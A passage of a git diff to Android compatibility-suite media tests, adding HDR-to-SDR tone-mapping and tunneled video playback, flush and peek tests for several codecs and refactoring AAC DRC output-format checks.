+            "00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00" +
+            "00 00 00 00 00 00 00 00  00                     " ;
+
+    private void testHdrToSdr(final String res,
+            String[] dynamicInfo, boolean metadataInContainer)
+            throws Exception {
+        AssetFileDescriptor infd = null;
+        MediaExtractor extractor = null;
+        MediaCodec decoder = null;
+        HandlerThread handlerThread = new HandlerThread("MediaCodec callback thread");
+        handlerThread.start();
+        final boolean dynamic = dynamicInfo != null;
+
+        try {
+            extractor = new MediaExtractor();
+            extractor.setDataSource(mInpPrefix + res);
+
+            MediaFormat format = null;
+            int trackIndex = -1;
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    trackIndex = i;
+                    break;
+                }
+            }
+
+            extractor.selectTrack(trackIndex);
+            Log.v(TAG, "format " + format);
+
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            // setting profile and level
+            if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
+                if (!dynamic) {
+                    assertEquals("Extractor set wrong profile",
+                        MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
+                        format.getInteger(MediaFormat.KEY_PROFILE));
+                } else {
+                    // Extractor currently doesn't detect HDR10+, set to HDR10+ manually
+                    format.setInteger(MediaFormat.KEY_PROFILE,
+                            MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10Plus);
+                }
+            } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
+                // The muxer might not have put VP9 CSD in the mkv, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        dynamic ? MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR10Plus
+                                : MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
+            } else if (MediaFormat.MIMETYPE_VIDEO_AV1.equals(mime)) {
+                // The muxer might not have put AV1 CSD in the webm, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        MediaCodecInfo.CodecProfileLevel.AV1ProfileMain10HDR10);
+            } else {
+                fail("Codec " + mime + " shouldn't be tested with this test!");
+            }
+            format.setInteger(
+                    MediaFormat.KEY_COLOR_TRANSFER_REQUEST, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+            String[] decoderNames = MediaUtils.getDecoderNames(format);
+
+            if (decoderNames == null || decoderNames.length == 0) {
+                MediaUtils.skipTest("No video codecs supports HDR");
+                return;
+            }
+
+            final Surface surface = getActivity().getSurfaceHolder().getSurface();
+            final MediaExtractor finalExtractor = extractor;
+
+            for (String name : decoderNames) {
+                Log.d(TAG, "Testing candicate decoder " + name);
+                CountDownLatch latch = new CountDownLatch(1);
+                extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+
+                decoder = MediaCodec.createByCodecName(name);
+                decoder.setCallback(new MediaCodec.Callback() {
+                    boolean mInputEOS;
+                    boolean mOutputReceived;
+                    int mInputCount;
+                    int mOutputCount;
+
+                    @Override
+                    public void onOutputBufferAvailable(
+                            MediaCodec codec, int index, BufferInfo info) {
+                        if (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
+                            return;
+                        }
+
+                        MediaFormat bufferFormat = codec.getOutputFormat(index);
+                        Log.i(TAG, "got output buffer: format " + bufferFormat);
+
+                        assertEquals("unexpected color transfer for the buffer",
+                                MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
+                                bufferFormat.getInteger(MediaFormat.KEY_COLOR_TRANSFER, 0));
+                        ByteBuffer staticInfo = bufferFormat.getByteBuffer(
+                                MediaFormat.KEY_HDR_STATIC_INFO, null);
+                        if (staticInfo != null) {
+                            assertTrue(
+                                    "Buffer should not have a valid static HDR metadata present",
+                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
+                                                  staticInfo.array()));
+                        }
+                        assertFalse("Buffer should not have dynamic HDR metadata present",
+                                bufferFormat.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO));
+
+                        if (!dynamic) {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputReceived = true;
+                            latch.countDown();
+                        } else {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputCount++;
+                            if (mOutputCount >= dynamicInfo.length) {
+                                mOutputReceived = true;
+                                latch.countDown();
+                            }
+                        }
+                    }
+
+                    @Override
+                    public void onInputBufferAvailable(MediaCodec codec, int index) {
+                        // keep queuing until input EOS, or first output buffer received.
+                        if (mInputEOS || (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO)) {
+                            return;
+                        }
+
+                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
+
+                        if (finalExtractor.getSampleTrackIndex() == -1) {
+                            codec.queueInputBuffer(
+                                    index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            mInputEOS = true;
+                        } else {
+                            int size = finalExtractor.readSampleData(inputBuffer, 0);
+                            long timestamp = finalExtractor.getSampleTime();
+                            finalExtractor.advance();
+
+                            if (dynamic && metadataInContainer) {
+                                final Bundle params = new Bundle();
+                                // TODO: extractor currently doesn't extract the dynamic metadata.
+                                // Send in the test pattern for now to test the metadata propagation.
+                                byte[] info = loadByteArrayFromString(dynamicInfo[mInputCount]);
+                                params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+                                codec.setParameters(params);
+                                mInputCount++;
+                                if (mInputCount >= dynamicInfo.length) {
+                                    mInputEOS = true;
+                                }
+                            }
+                            codec.queueInputBuffer(index, 0, size, timestamp, 0);
+                        }
+                    }
+
+                    @Override
+                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                        Log.e(TAG, "got codec exception", e);
+                    }
+
+                    @Override
+                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                        Log.i(TAG, "got output format: " + format);
+                        ByteBuffer staticInfo = format.getByteBuffer(
+                                MediaFormat.KEY_HDR_STATIC_INFO, null);
+                        if (staticInfo != null) {
+                            assertTrue(
+                                    "output format should not have a valid " +
+                                    "static HDR metadata present",
+                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
+                                                  staticInfo.array()));
+                        }
+                    }
+                }, new Handler(handlerThread.getLooper()));
+                decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
+                int transferRequest = decoder.getInputFormat().getInteger(
+                        MediaFormat.KEY_COLOR_TRANSFER_REQUEST, 0);
+                if (transferRequest == 0) {
+                    Log.i(TAG, name + " does not support HDR to SDR tone mapping");
+                    decoder.release();
+                    continue;
+                }
+                assertEquals("unexpected color transfer request value from input format",
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO, transferRequest);
+                decoder.start();
+                try {
+                    assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
+                } catch (InterruptedException e) {
+                    fail("playback interrupted");
+                }
+                if (DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
+                    Thread.sleep(5000);
+                }
+                decoder.stop();
+                decoder.release();
+            }
+        } finally {
+            if (decoder != null) {
+                decoder.release();
+            }
+            if (extractor != null) {
+                extractor.release();
+            }
+            handlerThread.getLooper().quit();
+            handlerThread.join();
+        }
+    }
+
     public void testDecodeFragmented() throws Exception {
         testDecodeFragmented("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
                 "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4");
@@ -1778,6 +2021,32 @@
         }
     }
 
+    protected static int getOutputFormatInteger(MediaCodec codec, String key) {
+        if (codec == null) {
+            fail("Null MediaCodec before attempting to retrieve output format key " + key);
+        }
+        MediaFormat format = null;
+        try {
+            format = codec.getOutputFormat();
+        } catch (Exception e) {
+            fail("Exception " + e + " when attempting to obtain output format");
+        }
+        if (format == null) {
+            fail("Null output format returned from MediaCodec");
+        }
+        try {
+            return format.getInteger(key);
+        } catch (NullPointerException e) {
+            fail("Key " + key + " not present in output format");
+        } catch (ClassCastException e) {
+            fail("Key " + key + " not stored as integer in output format");
+        } catch (Exception e) {
+            fail("Exception " + e + " when attempting to retrieve output format key " + key);
+        }
+        // never used
+        return Integer.MIN_VALUE;
+    }
+
     // Class handling all audio parameters relevant for testing
     protected static class AudioParameter {
 
@@ -3324,14 +3593,17 @@
         return (codecName == null) ? false : true;
     }
 
-
     /**
      * Test tunneled video playback mode if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
      */
-    public void testTunneledVideoPlayback() throws Exception {
-        if (!isVideoFeatureSupported(MediaFormat.MIMETYPE_VIDEO_AVC,
+    private void tunneledVideoPlayback(String mimeType, String videoName) throws Exception {
+        if (!isVideoFeatureSupported(mimeType,
                 CodecCapabilities.FEATURE_TunneledPlayback)) {
-            MediaUtils.skipTest(TAG, "No tunneled video playback codec found!");
+            MediaUtils.skipTest(
+                    TAG,
+                    "No tunneled video playback codec found for MIME " + mimeType);
             return;
         }
 
@@ -3339,10 +3611,9 @@
         mMediaCodecPlayer = new MediaCodecTunneledPlayer(
                 getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
 
-        Uri audioUri = Uri.parse(dynamicConfig.getValue(AUDIO_URL_KEY));
-        Uri videoUri = Uri.parse(dynamicConfig.getValue(VIDEO_URL_KEY));
-        mMediaCodecPlayer.setAudioDataSource(audioUri, null);
-        mMediaCodecPlayer.setVideoDataSource(videoUri, null);
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
         assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
 
@@ -3368,12 +3639,40 @@
     }
 
     /**
-     * Test tunneled video playback flush if supported
+     * Test tunneled video playback mode with HEVC if supported
      */
-    public void testTunneledVideoFlush() throws Exception {
-        if (!isVideoFeatureSupported(MediaFormat.MIMETYPE_VIDEO_AVC,
-                CodecCapabilities.FEATURE_TunneledPlayback)) {
-            MediaUtils.skipTest(TAG, "No tunneled video playback codec found!");
+    public void testTunneledVideoPlaybackHevc() throws Exception {
+        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                    "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video playback mode with AVC if supported
+     */
+    public void testTunneledVideoPlaybackAvc() throws Exception {
+        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video playback mode with VP9 if supported
+     */
+    public void testTunneledVideoPlaybackVp9() throws Exception {
+        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9,
+                    "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled video playback flush if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoFlush(String mimeType, String videoName) throws Exception {
+        if (!isVideoFeatureSupported(mimeType,
+                        CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(
+                    TAG,
+                    "No tunneled video playback codec found for MIME " + mimeType);
             return;
         }
 
@@ -3381,10 +3680,9 @@
         mMediaCodecPlayer = new MediaCodecTunneledPlayer(
                 getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
 
-        Uri audioUri = Uri.parse(dynamicConfig.getValue(AUDIO_URL_KEY));
-        Uri videoUri = Uri.parse(dynamicConfig.getValue(VIDEO_URL_KEY));
-        mMediaCodecPlayer.setAudioDataSource(audioUri, null);
-        mMediaCodecPlayer.setVideoDataSource(videoUri, null);
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
         assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
 
@@ -3397,6 +3695,100 @@
     }
 
     /**
+     * Test tunneled video playback flush with HEVC if supported
+     */
+    public void testTunneledVideoFlushHevc() throws Exception {
+        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video playback flush with AVC if supported
+     */
+    public void testTunneledVideoFlushAvc() throws Exception {
+        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video playback flush with VP9 if supported
+     */
+    public void testTunneledVideoFlushVp9() throws Exception {
+        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled video peek if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoPeek(String mimeType, String videoName) throws Exception {
+        if (!isVideoFeatureSupported(mimeType,
+                CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(
+                    TAG,
+                    "No tunneled video playback codec found for MIME " + mimeType);
+            return;
+        }
+
+        AudioManager am = (AudioManager)mContext.getSystemService(Context.AUDIO_SERVICE);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoPeek(true);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // starts video playback
+        mMediaCodecPlayer.startThread();
+
+        final long durationMs = mMediaCodecPlayer.getDuration();
+        final long timeOutMs = System.currentTimeMillis() + durationMs + 5 * 1000; // add 5 sec
+        while (!mMediaCodecPlayer.isEnded()) {
+            // Log.d(TAG, "currentPosition: " + mMediaCodecPlayer.getCurrentPosition()
+            //         + "  duration: " + mMediaCodecPlayer.getDuration());
+            assertTrue("Tunneled video playback timeout exceeded",
+                    timeOutMs > System.currentTimeMillis());
+            Thread.sleep(SLEEP_TIME_MS);
+            if (mMediaCodecPlayer.getCurrentPosition() >= mMediaCodecPlayer.getDuration()) {
+                Log.d(TAG, "testTunneledVideoPlayback -- current pos = " +
+                        mMediaCodecPlayer.getCurrentPosition() +
+                        ">= duration = " + mMediaCodecPlayer.getDuration());
+                break;
+            }
+        }
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test tunneled video peek with HEVC if supported
+     */
+    public void testTunneledVideoPeekHevc() throws Exception {
+        testTunneledVideoPeek(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video peek with AVC if supported
+     */
+    public void testTunneledVideoPeekAvc() throws Exception {
+        testTunneledVideoPeek(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video peek with VP9 if supported
+     */
+    public void testTunneledVideoPeekVp9() throws Exception {
+        testTunneledVideoPeek(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
      * Returns list of CodecCapabilities advertising support for the given MIME type.
      */
     private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) {
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 3af1400..e33505a 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -586,8 +586,8 @@
             if(!runtimeChange) {
                 // check if MediaCodec gives back correct drc parameters
                 if (drcParams.mDecoderTargetLevel != 0) {
-                    final int targetLevelFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                     if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
                         fail("DRC Target Ref Level received from MediaCodec is not the level set");
                     }
@@ -709,19 +709,18 @@
         // check if MediaCodec gives back correct drc parameters (R and above)
         if (drcParams != null && sIsAndroidRAndAbove) {
             if (drcParams.mDecoderTargetLevel != 0) {
-                final int targetLevelFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                 if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
                     fail("DRC Target Ref Level received from MediaCodec is not the level set");
                 }
             }
 
-            final MediaFormat outputFormat = codec.getOutputFormat();
-            final int cutFromCodec = outputFormat.getInteger(
+            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
             assertEquals("Attenuation factor received from MediaCodec differs from set:",
                     drcParams.mCut, cutFromCodec);
-            final int boostFromCodec = outputFormat.getInteger(
+            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
             assertEquals("Boost factor received from MediaCodec differs from set:",
                     drcParams.mBoost, boostFromCodec);
@@ -729,8 +728,8 @@
 
         // expectedOutputLoudness == -2 indicates that output loudness is not tested
         if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
-            final int outputLoudnessFromCodec = codec.getOutputFormat()
-                    .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
             if (outputLoudnessFromCodec != expectedOutputLoudness) {
                 fail("Received decoder output loudness is not the expected value");
             }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 13b7928..d90bf4f 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -31,11 +31,10 @@
 import android.media.MediaFormat;
 import android.media.cts.DecoderTest.AudioParameter;
 import android.media.cts.DecoderTestAacDrc.DrcParams;
-import android.media.cts.R;
 import android.os.Build;
+import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
-import android.os.Bundle;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -44,6 +43,8 @@
 
 import org.junit.Before;
 import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
 
 import java.io.IOException;
 import java.nio.ByteBuffer;
@@ -52,6 +53,7 @@
 import java.util.List;
 
 @AppModeFull(reason = "DecoderTest is non-instant")
+@RunWith(JUnit4.class)
 public class DecoderTestXheAac {
     private static final String TAG = "DecoderTestXheAac";
 
@@ -569,6 +571,13 @@
     @Test
     public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+        if(!sIsAndroidRAndAbove) {
+            // The fix for b/158471477 was released in mainline release 300802800
+            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11990700
+            final int MIN_VERSION = 300802800;
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media.swcodec", MIN_VERSION);
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media", MIN_VERSION);
+        }
 
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
@@ -1287,22 +1296,22 @@
         if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
             if(!runtimeChange) {
                 if (drcParams.mAlbumMode != 0) {
-                    int albumModeFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                    int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
                     if (albumModeFromCodec != drcParams.mAlbumMode) {
                         fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
                     }
                 }
                 if (drcParams.mEffectType != 0) {
-                    final int effectTypeFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                    final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
                     if (effectTypeFromCodec != drcParams.mEffectType) {
                         fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
                     }
                 }
                 if (drcParams.mDecoderTargetLevel != 0) {
-                    final int targetLevelFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                     if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
                         fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
                     }
@@ -1443,31 +1452,30 @@
         // check if MediaCodec gives back correct drc parameters
         if (drcParams != null && sIsAndroidRAndAbove) {
             if (drcParams.mAlbumMode != 0) {
-                final int albumModeFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                final int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
                 assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
                         + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
             }
             if (drcParams.mEffectType != 0) {
-                final int effectTypeFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
                 assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
                         + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
             }
             if (drcParams.mDecoderTargetLevel != 0) {
-                final int targetLevelFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                 assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
                         + " runtime:" + runtimeChange,
                         drcParams.mDecoderTargetLevel, targetLevelFromCodec);
             }
 
-            final MediaFormat outputFormat = codec.getOutputFormat();
-            final int cutFromCodec = outputFormat.getInteger(
+            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
             assertEquals("Attenuation factor received from MediaCodec differs from set:",
                     drcParams.mCut, cutFromCodec);
-            final int boostFromCodec = outputFormat.getInteger(
+            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
             assertEquals("Boost factor received from MediaCodec differs from set:",
                     drcParams.mBoost, boostFromCodec);
@@ -1475,8 +1483,8 @@
 
         // expectedOutputLoudness == -2 indicates that output loudness is not tested
         if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
-            final int outputLoudnessFromCodec = codec.getOutputFormat()
-                    .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
             if (outputLoudnessFromCodec != expectedOutputLoudness) {
                 fail("Received decoder output loudness is not the expected value");
             }
diff --git a/tests/tests/media/src/android/media/cts/DrmInitDataTest.java b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
new file mode 100644
index 0000000..ee2fa86
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.DrmInitData;
+import android.test.AndroidTestCase;
+
+import java.util.UUID;
+
+public class DrmInitDataTest extends AndroidTestCase {
+
+    public void testSchemeInitDataConstructor() {
+        UUID uuid = new UUID(1, 1);
+        String mimeType = "mime/type";
+        byte[] data = new byte[0];
+        DrmInitData.SchemeInitData schemeInitData =
+                new DrmInitData.SchemeInitData(uuid, mimeType, data);
+        assertSame(uuid, schemeInitData.uuid);
+        assertSame(mimeType, schemeInitData.mimeType);
+        assertSame(data, schemeInitData.data);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index a7672f0..9918545 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -48,6 +48,7 @@
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests connecting a virtual display to the input of a MediaCodec encoder.
@@ -519,7 +520,6 @@
      */
     private class ColorSlideShow extends Thread {
         private Display mDisplay;
-        private ArrayList<TestPresentation> mPresentations = new ArrayList<>();
 
         public ColorSlideShow(Display display) {
             mDisplay = display;
@@ -527,48 +527,39 @@
 
         @Override
         public void run() {
-            for (int i = 0; i < TEST_COLORS.length; i++) {
-                showPresentation(TEST_COLORS[i]);
+            for (int testColor : TEST_COLORS) {
+                showPresentation(testColor);
             }
 
             if (VERBOSE) Log.d(TAG, "slide show finished");
             mInputDone = true;
-            runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    for (TestPresentation presentation : mPresentations) {
-                        presentation.dismiss();
-                    }
-                }
-            });
         }
 
         private void showPresentation(final int color) {
             final TestPresentation[] presentation = new TestPresentation[1];
+            final CountDownLatch latch = new CountDownLatch(1);
             try {
-                final CountDownLatch latch = new CountDownLatch(1);
-                runOnUiThread(new Runnable() {
-                    @Override
-                    public void run() {
-                        // Want to create presentation on UI thread so it finds the right Looper
-                        // when setting up the Dialog.
-                        presentation[0] = new TestPresentation(getContext(), mDisplay, color);
-                        if (VERBOSE) Log.d(TAG, "showing color=0x" + Integer.toHexString(color));
-                        presentation[0].show();
-                        latch.countDown();
-                    }
+                runOnUiThread(() -> {
+                    // Want to create presentation on UI thread so it finds the right Looper
+                    // when setting up the Dialog.
+                    presentation[0] = new TestPresentation(getContext(), mDisplay, color);
+                    if (VERBOSE) Log.d(TAG, "showing color=0x" + Integer.toHexString(color));
+                    presentation[0].show();
+                    latch.countDown();
                 });
 
                 // Give the presentation an opportunity to render.  We don't have a way to
                 // monitor the output, so we just sleep for a bit.
                 try {
                     // wait for the UI thread execution to finish
-                    latch.await();
+                    latch.await(5, TimeUnit.SECONDS);
                     Thread.sleep(UI_RENDER_PAUSE_MS);
-                } catch (InterruptedException ignore) {}
+                } catch (InterruptedException ignore) {
+                }
             } finally {
                 if (presentation[0] != null) {
-                    mPresentations.add(presentation[0]);
+                    presentation[0].dismiss();
+                    presentation[0] = null;
                 }
             }
         }
@@ -612,7 +603,6 @@
             super.onCreate(savedInstanceState);
 
             setTitle("Encode Virtual Test");
-            getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
 
             // Create a solid color image to use as the content of the presentation.
             ImageView view = new ImageView(getContext());
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 66bb0bf..c969515 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
